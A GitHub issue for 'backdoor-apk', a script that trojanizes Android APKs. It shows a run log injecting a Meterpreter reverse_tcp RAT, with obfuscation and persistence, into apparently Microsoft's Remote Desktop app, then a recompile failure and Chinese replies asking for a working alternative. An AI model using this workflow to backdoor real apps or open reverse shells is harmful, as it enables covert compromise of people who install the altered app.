dana-at-cp / backdoor-apk

backdoor-apk is a shell script that simplifies the process of adding a backdoor to any Android APK file. Users of this shell script should have working knowledge of Linux, Bash, Metasploit, Apktool, the Android SDK, smali, etc. This shell script is provided as-is without warranty of any kind and is intended for educational purposes only.
Apache License 2.0
2.21k stars 702 forks source link

Failed to recompile original project with backdoor #208

Open Lingchen218 opened 1 year ago

Lingchen218 commented 1 year ago

[*] Running backdoor-apk.sh v0.2.4a on 2023年 05月 16日 星期二 21:57:51 CST [+] Android payload options: 1) meterpreter/reverse_http 2) meterpreter/reverse_https 3) meterpreter/reverse_tcp 4) shell/reverse_http 5) shell/reverse_https 6) shell/reverse_tcp [?] Please select an Android payload option: 3 [?] Please enter an LHOST value: 192.168.1.143 [?] Please enter an LPORT value: 4444 [+] Android manifest permission options: 1) Keep original 2) Merge with payload and shuffle [?] Please select an Android manifest permission option: 2 [+] Handle the payload via resource script: msfconsole -r backdoor-apk.rc [*] Decompiling original APK file...done. [*] Locating smali file to hook in original project...done. [+] Package where RAT smali files will be injected: com/microsoft/rdc/androidx [+] Smali file to hook RAT payload: com/microsoft/rdc/android/RDP_AndroidApp.smali [*] Generating RAT APK file...done. [*] Decompiling RAT APK file...done. [*] Merging permissions of original and payload projects...done. [*] Injecting helpful Java classes in RAT APK file...done. [*] Creating new directory in original package for RAT smali files...done. [+] Inject package path: com/microsoft/rdc/androidx/kmawo [+] Generated new smali class name for MainBroadcastReceiver.smali: Bcwhv [+] Generated new smali class name for MainService.smali: Ptidi [+] Generated new smali class name for Payload.smali: Yrxsj [+] Generated new smali class name for StringObfuscator.smali: Geckb [+] Generated new smali method name for StringObfuscator.obfuscate method: xtset [+] Generated new smali method name for StringObfuscator.unobfuscate method: qrnbf [*] Copying RAT smali files to new directories in original project...done. [*] Fixing RAT smali files...done. [*] Obfuscating const-string values in RAT smali files...done. [*] Adding hook in original smali file...done. [*] Adding persistence hook in original project...done. [*] Recompiling original project with backdoor...done. [!] Failed to recompile original project with backdoor

kuloutoussssss commented 1 month ago

解决了吗

Lingchen218 commented 1 month ago

没有,可能要看看代码,为啥报错了

kuloutoussssss commented 1 month ago

有没有推荐一款能用的

Lingchen218 commented 1 month ago

后面没有研究这个,其它的我也不知道

Lingchen218 commented 1 month ago

你要是有空你就去看看里面的代码,然后找一下具体报错的问题。